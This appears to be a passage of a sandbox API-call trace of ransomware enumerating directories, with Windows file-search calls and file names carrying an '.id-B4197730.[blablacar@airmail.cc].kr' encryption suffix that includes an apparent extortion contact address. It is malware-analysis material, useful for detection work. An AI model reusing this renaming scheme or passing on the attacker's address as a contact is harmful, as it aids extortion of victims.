ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc648f4d9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc648f4d9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.198] FindNextFileW (in: hFindFile=0x4420ce0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6469438, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6469438, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6469438, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.198] FindNextFileW (in: hFindFile=0x4420ce0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6469438, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6469438, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc648f4d9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.198] FindNextFileW (in: hFindFile=0x4420ce0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc769da06, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc769da06, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc769da06, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.198] FindNextFileW (in: hFindFile=0x4420ce0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc769da06, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc769da06, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc769da06, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.198] FindClose (in: hFindFile=0x4420ce0 | out: hFindFile=0x4420ce0) returned 1 [0175.199] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.199] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6a85464, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a85464, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0175.199] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.199] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6a85464, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a85464, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420aa0 [0175.200] FindNextFileW (in: hFindFile=0x4420aa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6a85464, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a85464, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.200] FindNextFileW (in: hFindFile=0x4420aa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc648f4d9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc648f4d9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc64b57ea, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.201] FindNextFileW (in: hFindFile=0x4420aa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc64b57ea, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc64b57ea, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a85464, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.201] FindNextFileW (in: hFindFile=0x4420aa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c4739a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c4739a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c6d3fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.201] FindNextFileW (in: hFindFile=0x4420aa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c4739a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c4739a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c6d3fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.201] FindClose (in: hFindFile=0x4420aa0 | out: hFindFile=0x4420aa0) returned 1 [0175.202] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.202] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6b90516, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6b90516, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0175.202] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.202] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6b90516, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6b90516, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44209e0 [0175.203] FindNextFileW (in: hFindFile=0x44209e0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6b90516, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6b90516, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.203] FindNextFileW (in: hFindFile=0x44209e0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc673e132, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc673e132, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc673e132, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.204] FindNextFileW (in: hFindFile=0x44209e0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc68491fd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc68491fd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68491fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.204] FindNextFileW (in: hFindFile=0x44209e0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c6d3fd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c6d3fd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c6d3fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.204] FindNextFileW (in: hFindFile=0x44209e0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c6d3fd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c6d3fd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c6d3fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.204] FindClose (in: hFindFile=0x44209e0 | out: hFindFile=0x44209e0) returned 1 [0175.205] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.205] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68e1a94, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68e1a94, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0175.205] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.205] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68e1a94, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68e1a94, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420d60 [0175.206] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68e1a94, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68e1a94, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.206] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc686f4ee, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc686f4ee, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc686f4ee, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.206] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc68bb8df, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc68bb8df, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68bb8df, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.207] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c9377f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c9377f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c9377f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.207] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c9377f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c9377f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c9377f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.207] FindClose (in: hFindFile=0x4420d60 | out: hFindFile=0x4420d60) returned 1 [0175.208] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.208] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6ad18c6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6ad18c6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0175.208] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.208] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6ad18c6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6ad18c6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420b60 [0175.209] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6ad18c6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6ad18c6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.209] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6aab642, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6aab642, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6aab642, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.209] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6aab642, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6aab642, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6ad18c6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.209] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7e5d407, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7e5d407, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7e835c1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.209] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7e5d407, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7e5d407, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7e835c1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.209] FindClose (in: hFindFile=0x4420b60 | out: hFindFile=0x4420b60) returned 1 [0175.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.210] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc76c3c6e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76c3c6e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0175.211] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.211] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc76c3c6e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76c3c6e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420b60 [0175.212] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc76c3c6e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76c3c6e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.212] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6ad18c6, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6ad18c6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc737c83d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.212] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc769da06, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc769da06, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76c3c6e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.212] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7e835c1, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7e835c1, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7ea991b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.212] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7e835c1, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7e835c1, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7ea991b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.212] FindClose (in: hFindFile=0x4420b60 | out: hFindFile=0x4420b60) returned 1 [0175.213] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.213] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6c75175, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c75175, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0175.213] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.213] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6c75175, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c75175, ftLastWriteTime.dwHighDateTime=0x1d5990b, 